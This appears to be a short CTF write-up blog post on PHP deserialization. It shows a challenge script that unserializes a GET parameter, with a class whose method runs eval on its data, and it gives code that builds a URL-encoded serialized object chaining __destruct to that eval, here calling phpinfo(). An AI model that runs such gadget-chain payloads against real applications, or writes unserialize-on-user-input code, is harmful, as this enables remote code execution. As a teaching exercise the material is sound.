当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
- C#使用ComboBox控件
- 如何使用StarUML画类图[通俗易懂]
- C# List用法 List介绍
- ADS与C#通信
- Getting started with jmeter performance testing steps (performance testing tool jmeter)
- SAP e-commerce cloud Spartacus SSR Optimization Engine execution sequence of several timeouts
- 基于高阶微分器的无模型滑模控制器及其在自动电压调节器中的应用
- PyQt5快速开发与实战10.2 复利计算 && 10.3 刷新博客点击量
- Hard disk partition, expand disk C, no reshipment system, not heavy D dish of software full tutorial.
- 抓住金三银四的尾巴,解锁程序员面试《刷题神器》
猜你喜欢
随机推荐
sqlalchemy 判断一个array 类型的字段是否和一个array有至少一个一致的数据
ERROR 1819 (HY000) Your password does not satisfy the current policy requirements
Fully Dynamically Constrained Robot Efficient Time-Optimal Trajectory Planning
P5019 [NOIP2018 提高组] 铺设道路
C#使用ComboBox控件
Architecture Camp | Module 8
Build a Valentine's Day confession website (super detailed process, package teaching package)
WPF中报错:“未将对象引用设置到对象的实例。”
0x80070570 The file or directory is damaged and cannot be deleted (how to delete 0x80070091)
PHP序列化:eval
ASM module in SAP Ecommerce Cloud Spartacus UI and Accelerator UI
知名无人驾驶公司:文远知行内推
SAP 电商云 Spartacus UI 和 Accelerator UI 里的 ASM 模块
C#控件ListView用法
Character Functions and String Functions
基于高阶微分器的无模型滑模控制器及其在自动电压调节器中的应用
深圳某游戏研发公司每个工位都装监控,网友:堪比“坐牢”!
使用openssl命令生成证书和对应的私钥,私钥签名,公钥验签
Hybrid brain-computer interface system based on steady-state visual evoked potentials and attentional EEG
尚硅谷–MySQL–基础篇(P1~P95)









